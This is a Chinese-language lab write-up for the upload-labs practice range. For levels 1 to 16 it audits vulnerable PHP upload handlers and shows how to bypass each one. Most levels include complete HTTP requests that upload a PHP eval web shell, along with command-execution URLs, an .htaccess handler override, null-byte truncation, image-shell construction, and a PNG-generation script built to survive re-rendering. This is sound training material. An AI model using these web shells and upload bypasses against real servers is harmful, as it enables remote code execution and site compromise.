靶场搭建
Windows
下载作者提供的PHPStudy整合版,避免bug
https://github.com/c0ny1/upload-labs/releases
Linux
不推荐使用,有一些攻击利用了Windows的特性,Linux上传后可能连接不上木马(而且多后缀解析也存在问题)
1
| docker run -d -p 80:80 cuer/upload-labs
|
Pass-01
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <script type="text/javascript"> function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } var allow_ext = ".jpg|.png|.gif"; var ext_name = file.substring(file.lastIndexOf(".")); if (allow_ext.indexOf(ext_name) == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } } </script>
|
只有在js代码中进行校验,提交到后端的PHP代码处理没有任何的过滤(前端校验等于没有校验)
攻击
前端js验证
- 直接上传图片通过前端,抓包,修改后直接发送请求包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| POST http://192.168.1.17/Pass-01/index.php HTTP/1.1 Host: 192.168.1.17 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------225474232222570505221243396719 Content-Length: 378 Origin: http://192.168.1.17 Connection: keep-alive Referer: http://192.168.1.17/Pass-01/index.php Upgrade-Insecure-Requests: 1 Priority: u=0, i
-----------------------------225474232222570505221243396719 Content-Disposition: form-data; name="upload_file"; filename="1.php" Content-Type: image/png
<?php @eval($_REQUEST['shell']);?>
-----------------------------225474232222570505221243396719 Content-Disposition: form-data; name="submit"
上传 -----------------------------225474232222570505221243396719--
|
- 修改前端,禁用checkfile()函数,即可上传成功
浏览器访问http://192.168.1.17/upload/1.php?shell=system('whoami');
执行命令返回
知识点
前端验证都是纸老虎
Pass-02
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; } }
|
源码审计,通过检测报文发送数据中的Content-Type 的值来对文件的类型进行过滤,只需要发送报文的时候将Content-Type值改为image/png,实际仍是.php,即可绕过,形同虚设
攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| POST http://192.168.1.17/Pass-02/index.php HTTP/1.1 Host: 192.168.1.17 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------42773365403714671171577664389 Content-Length: 375 Origin: http://192.168.1.17 Connection: keep-alive Referer: http://192.168.1.17/Pass-02/index.php Upgrade-Insecure-Requests: 1 Priority: u=0, i
-----------------------------42773365403714671171577664389 Content-Disposition: form-data; name="upload_file"; filename="1.php" Content-Type: image/png
<?php @eval($_REQUEST['shell']);?>
-----------------------------42773365403714671171577664389 Content-Disposition: form-data; name="submit"
上传 -----------------------------42773365403714671171577664389--
|
服务端对Content-Type进行字段验证
浏览器访问http://192.168.1.17/upload/1.php?shell=system('whoami');
执行命令返回
知识点
服务端对Content-Type字段的验证,修改字段上传绕过
Pass-03
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
审计源码,发现其只过滤了 '.asp','.aspx','.php','.jsp'
这些文件后缀,构造其他后缀的文件如.phtml、.php5即可
攻击
通过上传.php5、.phtml等其他后缀绕过限制
ps:用Github靶场的Release环境,就可以解析了,自己配太折腾了
知识点
多后缀解析php文件可上传绕过
Pass-04
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
相比于Pass-03,增加了许多黑名单,但是忘记过滤了.htaccess
,服务器是Apache可以这样利用
攻击
1、先上传.htaccess
后缀文件改变Apache 服务器的配置,将所有的.png文件都已php来解析
1
| AddType application/x-httpd-php .png
|
或者
1 2 3
| <FilesMatch "文件名"> SetHandler application/x-httpd-php </FilesMatch>
|
选择方式一
2、上传后,将1.php改为1.png进行上传,成功解析
验证:访问如下url http://192.168.1.17/upload/1.png?shell=system("id");
知识点
Apache服务器中,可以通过上传.htaccess
文件来改变服务器的解析逻辑,需要上传有覆盖的功能
Pass-05
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
相比之前的pass,去除了将输入转换为小写的步骤,因此可以上传.PhP
类型的后缀Bypass
攻击
上传木马,文件名为1.PhP
即可Bypass
访问http://192.168.1.17/upload/202410150453201605.PhP?shell=system("id");
有回显
知识点
文件后缀大小写绕过
Pass-06
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
相比之前的pass 缺少了 trim() 函数过滤空格,抓包拦截带空格的后缀,后端识别的后缀名就是php
,实现Bypass
攻击
通过抓包,往文件后缀添加空格,即可绕过
ps:我访问该URL:http://192.168.1.17/upload/202410150458401586.php%20?shell=system("id");
没回显,中间空格去掉直接404 not found
查阅资料,windows特性,会自动去掉后缀名中最后的空格
对于靶场最好还是Windows搭建,除了一些需要Linux关卡
打到这里我赶紧下载官方环境,再次进行测试,访问该url:http://192.168.169.173/upload/202410151536208401.php?shell=system("whoami");
回显成功
知识点
windows特性,会自动去掉后缀名中最后的空格
Pass-07
源码审计
1 2 3 4 5 6 7 8 9 10
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
|
相比于之前的pass,缺少了deldot()函数,删除文件末尾的.
利用Windows,1.php.
会自动重命名为1.php
的特性
抓包,修改文件名,实现ByPass
攻击
POST 携带的数据如下
1 2 3 4 5 6 7 8 9 10
| -----------------------------1148941150563825243932695907 Content-Disposition: form-data; name="upload_file"; filename="1.php." Content-Type: application/octet-stream
<?php @eval($_REQUEST['shell']);?> -----------------------------1148941150563825243932695907 Content-Disposition: form-data; name="submit"
上传 -----------------------------1148941150563825243932695907--
|
访问该url:http://192.168.169.173/upload/202410151536208401.php?shell=system("whoami");
有回显
知识点
利用Windows,1.php.
会自动重命名为1.php
的特性
Pass-08
源码审计
1 2 3 4 5 6 7 8 9 10
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = trim($file_ext);
|
相比于之前的pass,删除了$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
对字符串::$DATA
并没有进行过滤
通过上传后缀.php::$data
进行Bypass,1.php:$DATA
文件名与1.php
一致
攻击
抓包,修改文件名,报文(POST 数据)如下
1 2 3 4 5 6 7 8 9 10
| -----------------------------281663601630465474662581018521 Content-Disposition: form-data; name="upload_file"; filename="1.php::$DATA" Content-Type: application/octet-stream
<?php @eval($_REQUEST['shell']);?> -----------------------------281663601630465474662581018521 Content-Disposition: form-data; name="submit"
上传 -----------------------------281663601630465474662581018521--
|
访问http://192.168.169.173/upload/202410151759495090.php?shell=system("whoami");
有回显
打开图片的时候把末尾的::$DATA
删除就行
知识点
1.php:$DATA
文件名与1.php
一致
关于::$DATA的解释(GPT
在 Windows 中,使用 1.php::$DATA
来创建文件时,会有以下效果:
- 主数据流:
1.php
是这个文件的主数据流,包含文件的正常内容。比如如果你在这个文件里写入 PHP 代码或其他文本,它就会存储在主数据流中。
::$DATA
的含义:在 1.php::$DATA
中,::$DATA
实际上是对主数据流的引用。也就是说,它引用的就是 1.php
文件的默认数据流。它没有创建一个新的、独立的数据流,而是直接引用了 1.php
自己的内容。
- 不创建额外数据流:如果你尝试直接使用
1.php::$DATA
这样的文件名去创建文件,系统只会把它当作对 1.php
主数据流的引用,而不会在文件系统中创建一个新的数据流。因此,没有实际效果上的变化,它和直接访问 1.php
没有区别。
总结:
- 不会创建新的文件:
1.php::$DATA
实际上是引用 1.php
文件的内容。
- 没有附加数据流:它没有创建或使用附加数据流,而是直接指向
1.php
自身的默认内容。
- 等同于访问
1.php
:当你尝试读取 1.php::$DATA
,其效果和直接读取 1.php
是一样的。
换句话说,::$DATA
并不是用于创建新的流,而是表明当前正在访问文件的主数据流。
Pass-09
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
首先看下$file_name = deldot($filename)
这行代码, 它的作用是将上传文件最末尾的”.”去除掉了, 我们可以利用它这个机制来绕过后缀限制, 例如上传一个文件名为webshell.php. .
, 经过deldot函数的处理后文件名为webshell.php.
然后再看下strrchr
函数, 该函数的作用是返回的字符串从指定字符的位置开始,包含指定字符。因此,$file_ext
变量中保存的是文件的扩展名, 也就是说最终$file_ext
的值为.
$deny_ext
是一个存有黑名单后缀的数组, 后面代码判断$file_ext
是否是黑名单后缀, 由于$file_ext
的值为.
, 并不属于限制后缀, 因此能够上传成功
攻击
利用 trim()、deldot() 等只删除了一次,并没有循环嵌套删除的漏洞
上传文件时抓包,将文件名改为1.php. .
即可,POST数据段报文如下
1 2 3 4 5 6 7 8 9 10
| -----------------------------374897871012500191664085237289 Content-Disposition: form-data; name="upload_file"; filename="1.php. ." Content-Type: application/octet-stream
<?php @eval($_REQUEST['shell']);?> -----------------------------374897871012500191664085237289 Content-Disposition: form-data; name="submit"
上传 -----------------------------374897871012500191664085237289--
|
访问 http://192.168.190.173/upload/1.php?shell=system("whoami");
有回显
ps:直接用靶场Release仓库的环境就行,省事
知识点
利用Windows写入文件时,1.php.
会直接省略末尾的空后缀.
实现绕过
Pass-10
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
trim
去除两端空格
str_ireplace
把$file_name
中的$deny_ext
替换成""
由于没有循环过滤,可以双写后缀名绕过
攻击
上传1.pphphp即可绕过
访问 http://192.168.190.173/upload/1.php?shell=system("whoami");
有回显
知识点
未循环过滤,双写后缀绕过
Pass-11
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
|
简述代码逻辑
- 定义一个数组,里面有一些常见图片的后缀名
- 提取文件名的最后一个
.
的后面的内容
- 判断后缀是否是合法文件名里面的
- 如果合法,Get请求获取save_path,拼接写入
从上述分析可知,通过GET请求来获取save_path
参数的值, 也就是说这个值是可控的, 若我们将这个值修改成../upload/1.php%00
, 也就是在文件名后面添加截断符号%00
,这样做的作用是将截断数据, Windows创建文件时会忽略后面 rand(10, 99).date("YmdHis").".".$file_ext
这行代码, 这样写入的文件名就变成了../upload/1.php
%00
是 URL 编码中的一个字符,它表示一个空字符(NULL 字符)
攻击
上传1.png文件,抓包拦截,修改Get请求save_path参数传递的值为../upload/1.php%00
访问 http://192.168.190.173/upload/1.php?shell=system("whoami");
有回显
知识点
Windows系统%00
文件名截断
但需确保PHP版本低于5.3.4且magic_quotes_gpc已关闭。
原理简述:PHP函数如move_uploaded_file在底层C语言实现时,会因遇到0x00(URL编码为%00)截断字符串。利用此特性,可绕过某些文件上传限制。
Pass-12
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传失败"; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
|
与Pass11的区别是,save_path采用Post接收
攻击
抓包拦截,Post数据报文如下,get请求传递的参数后端会自动进行解码, 但是post请求传递的参数后端不会自动解码, 因此我们要对截断符%00
进行url解码
1 2 3 4 5 6 7 8 9
| -----------------------------3046420336436958430603274329 Content-Disposition: form-data; name="save_path"
../upload/1.php%00 -----------------------------3046420336436958430603274329 Content-Disposition: form-data; name="upload_file"; filename="1.png" Content-Type: image/png
<?php @eval($_REQUEST['shell']);?>
|
在BurpSuite里面对%00进行解码
访问http://192.168.2.221/upload/1.php?shell=system("whoami");
有回显
知识点
绕过思路 与Pass-11一致
get请求传递的参数后端会自动进行解码, 但是post请求传递的参数后端不会自动解码, 因此我们要对截断符%00
进行url解码
Pass-13
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; }
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }
|
分析上传文件经过的处理逻辑
- 判断文件类型——读取上传文件的前2个字节,分别转换成10进制数后拼接成字符串进行判断
- 文件类型合法,上传成功
可上传图片马+文件包含漏洞Getshell
攻击
这里使用COPY命令将图片与webshell合成图片文件
1 2 3
| copy QR.jpg/b+1.php webshell.jpg copy KatoMegumi.gif/b+1.php webshell.gif copy QR.png/b+1.php webshell.png
|
上传图片文件后,访问http://192.168.2.221/include.php?file=./upload/1820241016220923.jpg&shell=system("whoami");
有回显
ps:可以先测试图片上传后是否可以文件包包含不报错,不报错在制作图片马
报错的原因是有一些图片他的渲染字符串有<?
一种思路是将这些字符串替换成别的,但是图片失真严重
我这边直接用二维码的图片作为图片马载体,规避报错
由于回显输出过多,可以用蚁剑测试是否连接成功,蚁剑配置如下

其余图片文件略
知识点
图片马+文件包含漏洞 GetShell
Pass-14
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| function isImage($filename){ $types = '.jpeg|.png|.gif'; if(file_exists($filename)){ $info = getimagesize($filename); $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; } }
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }
|
与Pass-13一致,先执行isImage()函数,下面分析isImage()函数
getimagesize函数
返回结果说明$info(https://www.runoob.com/php/php-getimagesize.html)
image_type_to_extension函数—返回图片后缀 https://www.runoob.com/php/php-image-type-to-extension.html
对图片的二进制内容没有做任何分析,可以利用Pass-13的方式GetShell
略
攻击
Pass-13的方式,上传图片马
jpg上传图片的时候重命名为了jpeg
知识点
getimagesize函数 https://www.runoob.com/php/php-getimagesize.html
image_type_to_extension函数 https://www.runoob.com/php/php-image-type-to-extension.html
Pass-15
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| function isImage($filename){ $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } }
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }
|
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
与getimagesize函数类似
攻击
Pass-13的方式,上传图片马
知识点
exif_imagetype() 函数 https://www.php.net/manual/zh/function.exif-imagetype.php
Pass-16
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| $is_upload = false; $msg = null; if (isset($_POST['submit'])){ $filename = $_FILES['upload_file']['name']; $filetype = $_FILES['upload_file']['type']; $tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
$fileext= substr(strrchr($filename,"."),1);
if(($fileext == "jpg") && ($filetype=="image/jpeg")){ if(move_uploaded_file($tmpname,$target_path)){ $im = imagecreatefromjpeg($target_path);
if($im == false){ $msg = "该文件不是jpg格式的图片!"; @unlink($target_path); }else{ srand(time()); $newfilename = strval(rand()).".jpg"; $img_path = UPLOAD_PATH.'/'.$newfilename; imagejpeg($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; }
} else{ $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!"; } }
|
imagecreateformjpeg()函数来对上传的图片文件进行二次渲染,随后返回一个新的图像文件, 由于新的图像文件是经过二次渲染后的, 所以我们在图像中布置的恶意代码也会被刷新, 从而导致不能配合文件包含漏洞来解析脚本文件
但是, 二次渲染后的文件并不是所有文件内容都会被刷新, 有一小部分是没有修改的, 我们只需找到这一小部分内容的位置, 然后将代码插入进去, 就能实现绕过
对于做文件上传之二次渲染建议用GIF图片,渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可
攻击
GIF (首选)
制作GIF图片马,上传
下载上传后的GIF,对比哪里没有被修改,直接添加即可(要覆写原本的二进制)
使用010editor的比较文件功能

点击结果即可高亮显示未被修改的二进制

添加木马至不变区域
ps:我这边选择第一个匹配区域的内容进行替换,不知道为什么第二个匹配区域替换无效果
假设上传前的GIF为1.gif,上传后的GIF为2.gif,需要在1.gif中覆盖添加不变的区域,添加后效果如图所示

上传后,蚁剑连接,GetShell
PNG
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'1.png');
?>
|
可能需要安装php-gd,执行php genPNG.php
生成1.png图片,上传即可
利用方式如下:
1 2 3
| get传参0=system 加上 post传参1=whoami
|
JPG (失败)
参考文件上传—二次渲染中的JPG二次渲染
1 2 3 4 5
| # 生成二次渲染的jpg图片 php 文件名.php 文件名.jpg php genJPG.php # 渲染后php木马内容 <?=eval($_POST[1]);?>
|
手工操作
注意
jpg二次渲染图片马不能靠脚本直接生成,你需要先上传原图,再ctrl+s把渲染后的图片再保存下来,现在你才可以使用下面脚本再次渲染
上传推荐专用的二次渲染图0.jpg,下载二次渲染后的结果为res.jpg,运行脚本
生成好的payload下载后,还要看点运气,多试几张图片
由于jpg图片易损,对图片的选取有很大关系,很容易制作失败
实际操作后并未复现成功
知识点
二次渲染绕过
Pass-17
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| $is_upload = false; $msg = null;
if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name;
